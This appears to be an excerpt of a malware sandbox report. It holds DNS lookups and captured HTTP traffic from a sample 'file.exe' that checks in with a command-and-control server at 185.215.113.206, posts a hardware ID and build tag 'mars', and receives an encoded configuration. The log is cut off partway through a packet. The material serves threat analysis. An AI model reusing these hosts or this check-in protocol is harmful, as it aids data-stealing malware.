Nov 19, 2024 01:03:35.687937021 CET	1.1.1.1	192.168.2.6	0xc2c0	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.687937021 CET	1.1.1.1	192.168.2.6	0xc2c0	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.687937021 CET	1.1.1.1	192.168.2.6	0xc2c0	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.687937021 CET	1.1.1.1	192.168.2.6	0xc2c0	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.687937021 CET	1.1.1.1	192.168.2.6	0xc2c0	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.687937021 CET	1.1.1.1	192.168.2.6	0xc2c0	No error (0)	youtube-ui.l.google.com		216.58.212.142	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.687937021 CET	1.1.1.1	192.168.2.6	0xc2c0	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.687937021 CET	1.1.1.1	192.168.2.6	0xc2c0	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.687937021 CET	1.1.1.1	192.168.2.6	0xc2c0	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.687937021 CET	1.1.1.1	192.168.2.6	0xc2c0	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.687937021 CET	1.1.1.1	192.168.2.6	0xc2c0	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.688141108 CET	1.1.1.1	192.168.2.6	0x1dba	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:03:35.688141108 CET	1.1.1.1	192.168.2.6	0x1dba	No error (0)	star-mini.c10r.facebook.com		157.240.0.35	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.689093113 CET	1.1.1.1	192.168.2.6	0x564a	No error (0)	www.wikipedia.org	dyna.wikimedia.org		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:03:35.689093113 CET	1.1.1.1	192.168.2.6	0x564a	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.701412916 CET	1.1.1.1	192.168.2.6	0x7a82	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.701412916 CET	1.1.1.1	192.168.2.6	0x7a82	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.701412916 CET	1.1.1.1	192.168.2.6	0x7a82	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.701412916 CET	1.1.1.1	192.168.2.6	0x7a82	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.701412916 CET	1.1.1.1	192.168.2.6	0x7a82	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.701412916 CET	1.1.1.1	192.168.2.6	0x7a82	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.701412916 CET	1.1.1.1	192.168.2.6	0x7a82	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.701412916 CET	1.1.1.1	192.168.2.6	0x7a82	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.701412916 CET	1.1.1.1	192.168.2.6	0x7a82	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.701412916 CET	1.1.1.1	192.168.2.6	0x7a82	No error (0)	youtube-ui.l.google.com		172.217.23.110	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.701412916 CET	1.1.1.1	192.168.2.6	0x7a82	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.701412916 CET	1.1.1.1	192.168.2.6	0x7a82	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.701412916 CET	1.1.1.1	192.168.2.6	0x7a82	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.701412916 CET	1.1.1.1	192.168.2.6	0x7a82	No error (0)	youtube-ui.l.google.com		172.217.18.110	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.701412916 CET	1.1.1.1	192.168.2.6	0x7a82	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.701412916 CET	1.1.1.1	192.168.2.6	0x7a82	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.725126982 CET	1.1.1.1	192.168.2.6	0xb6ec	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 19, 2024 01:03:35.725126982 CET	1.1.1.1	192.168.2.6	0xb6ec	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 19, 2024 01:03:35.725126982 CET	1.1.1.1	192.168.2.6	0xb6ec	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 19, 2024 01:03:35.725126982 CET	1.1.1.1	192.168.2.6	0xb6ec	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 19, 2024 01:03:35.725390911 CET	1.1.1.1	192.168.2.6	0x3b5f	No error (0)	star-mini.c10r.facebook.com		157.240.0.35	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.726084948 CET	1.1.1.1	192.168.2.6	0xe142	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.739202023 CET	1.1.1.1	192.168.2.6	0xcb0a	No error (0)	www.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:03:35.739202023 CET	1.1.1.1	192.168.2.6	0xcb0a	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.739202023 CET	1.1.1.1	192.168.2.6	0xcb0a	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.739202023 CET	1.1.1.1	192.168.2.6	0xcb0a	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.739202023 CET	1.1.1.1	192.168.2.6	0xcb0a	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.740137100 CET	1.1.1.1	192.168.2.6	0xf5f1	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
Nov 19, 2024 01:03:35.740782022 CET	1.1.1.1	192.168.2.6	0xcaf0	No error (0)	dyna.wikimedia.org			28	IN (0x0001)	false
Nov 19, 2024 01:03:35.748517990 CET	1.1.1.1	192.168.2.6	0x11ff	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.748517990 CET	1.1.1.1	192.168.2.6	0x11ff	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.748517990 CET	1.1.1.1	192.168.2.6	0x11ff	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.748517990 CET	1.1.1.1	192.168.2.6	0x11ff	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.749134064 CET	1.1.1.1	192.168.2.6	0xe224	No error (0)	twitter.com		104.244.42.1	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.757704020 CET	1.1.1.1	192.168.2.6	0x64fc	No error (0)	twitter.com		104.244.42.193	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.835259914 CET	1.1.1.1	192.168.2.6	0x571c	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:03:35.835259914 CET	1.1.1.1	192.168.2.6	0x571c	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:36.217381001 CET	1.1.1.1	192.168.2.6	0xaf14	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:36.495407104 CET	1.1.1.1	192.168.2.6	0x16fd	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:03:36.495407104 CET	1.1.1.1	192.168.2.6	0x16fd	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:03:36.495407104 CET	1.1.1.1	192.168.2.6	0x16fd	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:36.510606050 CET	1.1.1.1	192.168.2.6	0x8f61	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:40.388675928 CET	1.1.1.1	192.168.2.6	0x7833	No error (0)	normandy.cdn.mozilla.net	normandy-cdn.services.mozilla.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:03:40.388675928 CET	1.1.1.1	192.168.2.6	0x7833	No error (0)	normandy-cdn.services.mozilla.com		35.201.103.21	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:40.388767958 CET	1.1.1.1	192.168.2.6	0xf02	No error (0)	services.addons.mozilla.org		151.101.65.91	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:40.388767958 CET	1.1.1.1	192.168.2.6	0xf02	No error (0)	services.addons.mozilla.org		151.101.1.91	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:40.388767958 CET	1.1.1.1	192.168.2.6	0xf02	No error (0)	services.addons.mozilla.org		151.101.193.91	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:40.388767958 CET	1.1.1.1	192.168.2.6	0xf02	No error (0)	services.addons.mozilla.org		151.101.129.91	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:40.398736000 CET	1.1.1.1	192.168.2.6	0x5812	No error (0)	normandy-cdn.services.mozilla.com		35.201.103.21	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:40.400541067 CET	1.1.1.1	192.168.2.6	0xec5b	No error (0)	services.addons.mozilla.org		151.101.65.91	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:40.400541067 CET	1.1.1.1	192.168.2.6	0xec5b	No error (0)	services.addons.mozilla.org		151.101.193.91	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:40.400541067 CET	1.1.1.1	192.168.2.6	0xec5b	No error (0)	services.addons.mozilla.org		151.101.129.91	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:40.400541067 CET	1.1.1.1	192.168.2.6	0xec5b	No error (0)	services.addons.mozilla.org		151.101.1.91	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:40.413544893 CET	1.1.1.1	192.168.2.6	0x1553	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Nov 19, 2024 01:03:40.413544893 CET	1.1.1.1	192.168.2.6	0x1553	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Nov 19, 2024 01:03:40.413544893 CET	1.1.1.1	192.168.2.6	0x1553	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Nov 19, 2024 01:03:40.413544893 CET	1.1.1.1	192.168.2.6	0x1553	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Nov 19, 2024 01:03:41.666656017 CET	1.1.1.1	192.168.2.6	0x346c	No error (0)	a21ed24aedde648804e7-228765c84088fef4ff5e70f2710398e9.r17.cf1.rackcdn.com	a17.rackcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:03:41.666656017 CET	1.1.1.1	192.168.2.6	0x346c	No error (0)	a17.rackcdn.com	a17.rackcdn.com.mdc.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:03:47.561949968 CET	1.1.1.1	192.168.2.6	0x6d8c	No error (0)	home.fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:52.014318943 CET	1.1.1.1	192.168.2.6	0xc42d	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:59.619138002 CET	1.1.1.1	192.168.2.6	0xd9c0	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:03:59.636691093 CET	1.1.1.1	192.168.2.6	0xa1f3	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:04:01.181319952 CET	1.1.1.1	192.168.2.6	0x7be8	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:04:01.311731100 CET	1.1.1.1	192.168.2.6	0xa48c	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:04:03.807591915 CET	1.1.1.1	192.168.2.6	0xc3f0	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:10.453634977 CET	1.1.1.1	192.168.2.6	0xcdf5	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:11.119836092 CET	1.1.1.1	192.168.2.6	0x6dc8	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:04:11.119836092 CET	1.1.1.1	192.168.2.6	0x6dc8	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:13.382087946 CET	1.1.1.1	192.168.2.6	0xf7e6	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:14.036175013 CET	1.1.1.1	192.168.2.6	0x9522	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:04:14.036175013 CET	1.1.1.1	192.168.2.6	0x9522	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:27.541244030 CET	1.1.1.1	192.168.2.6	0xf3fb	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:04:27.541244030 CET	1.1.1.1	192.168.2.6	0xf3fb	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:32.751411915 CET	1.1.1.1	192.168.2.6	0x8a69	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:32.894401073 CET	1.1.1.1	192.168.2.6	0xd585	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:32.894427061 CET	1.1.1.1	192.168.2.6	0xd585	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:32.894438982 CET	1.1.1.1	192.168.2.6	0xd585	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:33.600409031 CET	1.1.1.1	192.168.2.6	0x8280	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:33.600423098 CET	1.1.1.1	192.168.2.6	0x8280	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:33.907553911 CET	1.1.1.1	192.168.2.6	0xdda1	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:33.907566071 CET	1.1.1.1	192.168.2.6	0xdda1	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:34.488233089 CET	1.1.1.1	192.168.2.6	0xf196	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:34.488307953 CET	1.1.1.1	192.168.2.6	0xf196	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:35.552028894 CET	1.1.1.1	192.168.2.6	0x2022	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:35.980417013 CET	1.1.1.1	192.168.2.6	0x7f0f	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:35.980433941 CET	1.1.1.1	192.168.2.6	0x7f0f	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:36.005400896 CET	1.1.1.1	192.168.2.6	0x725b	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:36.005836010 CET	1.1.1.1	192.168.2.6	0x725b	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:36.939156055 CET	1.1.1.1	192.168.2.6	0xcaa1	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:36.939261913 CET	1.1.1.1	192.168.2.6	0xf150	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:43.548849106 CET	1.1.1.1	192.168.2.6	0x95a0	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:04:43.561505079 CET	1.1.1.1	192.168.2.6	0xef35	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:04:54.191898108 CET	1.1.1.1	192.168.2.6	0xae14	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:54.840562105 CET	1.1.1.1	192.168.2.6	0xe58d	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:04:54.840562105 CET	1.1.1.1	192.168.2.6	0xe58d	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:57.395765066 CET	1.1.1.1	192.168.2.6	0x81ed	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:57.395823002 CET	1.1.1.1	192.168.2.6	0x81ed	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:57.395853043 CET	1.1.1.1	192.168.2.6	0x81ed	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:57.417335987 CET	1.1.1.1	192.168.2.6	0x92b5	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:57.417381048 CET	1.1.1.1	192.168.2.6	0x92b5	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:57.417407990 CET	1.1.1.1	192.168.2.6	0x92b5	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:57.421740055 CET	1.1.1.1	192.168.2.6	0xca28	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:58.196388960 CET	1.1.1.1	192.168.2.6	0xf378	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:59.369353056 CET	1.1.1.1	192.168.2.6	0xfdc9	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:06:12.929007053 CET	1.1.1.1	192.168.2.6	0xe39e	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:06:13.803347111 CET	1.1.1.1	192.168.2.6	0xa86e	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:06:13.803347111 CET	1.1.1.1	192.168.2.6	0xa86e	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:06:14.852979898 CET	1.1.1.1	192.168.2.6	0xeac3	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:06:14.860908031 CET	1.1.1.1	192.168.2.6	0x5411	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:07:10.774921894 CET	1.1.1.1	192.168.2.6	0xcd5	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:07:11.450243950 CET	1.1.1.1	192.168.2.6	0x99ad	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:07:11.450243950 CET	1.1.1.1	192.168.2.6	0x99ad	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:08:32.562006950 CET	1.1.1.1	192.168.2.6	0xaf39	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:08:32.562006950 CET	1.1.1.1	192.168.2.6	0xaf39	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:08:55.708506107 CET	1.1.1.1	192.168.2.6	0x1bf4	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:08:55.708522081 CET	1.1.1.1	192.168.2.6	0x1bf4	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:08:55.720515013 CET	1.1.1.1	192.168.2.6	0x34ca	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:10:15.233926058 CET	1.1.1.1	192.168.2.6	0xca17	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:10:15.860743999 CET	1.1.1.1	192.168.2.6	0xe126	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:10:15.860743999 CET	1.1.1.1	192.168.2.6	0xe126	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49736	185.215.113.206	80	5340	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:01:18.911125898 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 19, 2024 01:01:19.829612970 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 19, 2024 01:01:19.835913897 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKFIDGDHJEGIEBFHDGDG Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 46 49 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 31 35 33 36 44 45 36 42 35 39 31 39 32 32 30 36 33 34 39 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 49 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 49 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 2d 2d 0d 0a Data Ascii: ------JKFIDGDHJEGIEBFHDGDGContent-Disposition: form-data; name="hwid"11536DE6B591922063497------JKFIDGDHJEGIEBFHDGDGContent-Disposition: form-data; name="build"mars------JKFIDGDHJEGIEBFHDGDG--
Nov 19, 2024 01:01:20.134315968 CET	407	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:19 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 44 59 77 5a 57 45 34 59 7a 67 79 59 6d 45 78 4e 54 41 7a 4d 7a 4e 69 4d 32 4d 7a 5a 47 5a 6d 4e 54 56 6d 59 6d 51 78 4e 6d 59 30 4d 47 55 7a 5a 6a 41 7a 4f 54 49 33 5a 54 4a 68 4e 44 45 32 59 32 49 33 59 6a 45 35 5a 54 6b 7a 4e 6d 4e 6a 4d 44 4e 68 4f 54 68 68 4e 44 41 34 5a 6a 63 34 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NDYwZWE4YzgyYmExNTAzMzNiM2MzZGZmNTVmYmQxNmY0MGUzZjAzOTI3ZTJhNDE2Y2I3YjE5ZTkzNmNjMDNhOThhNDA4Zjc4fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 19, 2024 01:01:20.139806986 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAEBFIIECBGCBGDHCAFC Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 36 30 65 61 38 63 38 32 62 61 31 35 30 33 33 33 62 33 63 33 64 66 66 35 35 66 62 64 31 36 66 34 30 65 33 66 30 33 39 32 37 65 32 61 34 31 36 63 62 37 62 31 39 65 39 33 36 63 63 30 33 61 39 38 61 34 30 38 66 37 38 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 